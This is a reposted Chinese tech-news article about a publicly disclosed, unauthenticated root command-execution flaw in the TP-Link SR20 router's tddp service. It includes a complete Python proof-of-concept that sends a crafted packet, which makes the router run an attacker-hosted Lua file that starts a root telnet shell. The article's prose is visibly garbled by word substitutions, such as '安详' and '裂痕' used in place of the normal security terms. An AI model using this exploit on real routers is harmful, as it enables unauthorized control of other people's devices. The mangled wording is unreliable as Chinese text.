此前 Google 安详工程师在 TP-Link 的 SR20 智能家居路由器上发明白一个应承从当地收集毗连执行恣意呼吁的裂痕,他将题目陈诉给 TP-Link,可是颠末尾 90 天还没有获得官方的回应,于是他果真了该裂痕。
该题目由闻名的 Google 安详工程师与开源孝顺者 Matthew Garrett 披露,周三他果真的 38 行观念验证代码表现出在操作 SR20 的裂痕时可以行使 root 权限执行设惫亓?任何呼吁,而且无需身份验证。
Matthew 表明,TP-Link 路由器常常以 root 身份运行名为“tddp”(TP-Link Device Debug Protocol,TP-Link装备调试协议)的历程。它已经存在了多个裂痕,个中一个没怀孕份验证。
“SR20 袒露了一些第一个版本协议的呼吁,个中一个(呼吁 0x1f,哀求 0x01)好像是用于某种设置验证”,他说:“你发送文件和响应参数,收到呼吁后,路由器通过 TFTP 相应哀求的呆板,扣问文件名,将其导入 Lua 表明器,以 root 身份运行,并将参数发送到导入文件中的 config_test() 函数。Lua os.execute() 要领转达一个由操纵体系 shell 执行的呼吁。”
因为表明器以 root 身份运行,,以是可以执行恣意呼吁。
- #!/usr/bin/python3
-
- # Create /testfile in your tftp root directory with the following contents:
- #
- #function config_test(config)
- # os.execute("telnetd -l /bin/login.sh")
- #end
- #
- # Replace 192.168.0.1 with the IP address of the vulnerable device
-
- import binascii
- import socket
-
- port_send = 1040
- port_receive = 61000
-
- tddp_ver = "01"
- tddp_command = "31"
- tddp_req = "01"
- tddp_reply = "00"
- tddp_padding = "%0.16X" % 00
-
- tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
-
- sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- sock_receive.bind(('', port_receive))
-
- # Send a request
- sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- packet = binascii.unhexlify(tddp_packet)
- packet = packet + b"/testfile;arbitrary"
- print(packet)
- sock_send.sendto(packet, ("192.168.0.1", port_send))
- sock_send.close()
-
- response, addr = sock_receive.recvfrom(1024)
- r = response.encode('hex')
- print(r)
【编辑保举】
- Google Chrome 73不变版宣布:支持Dark模式 修复60处安详裂痕
- SAP 开源 SCA 器材,扫描软件包依靠裂痕
- NSA 的软件逆向工程框架 Ghidra 曝出裂痕
- 超 100000 个 GitHub 代码库泄漏了 API 或加密密钥
- 怎样阅读一份源代码?
【责任编辑:张燕妮 TEL:(010)68476606】
点赞 0 (编辑:河北网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|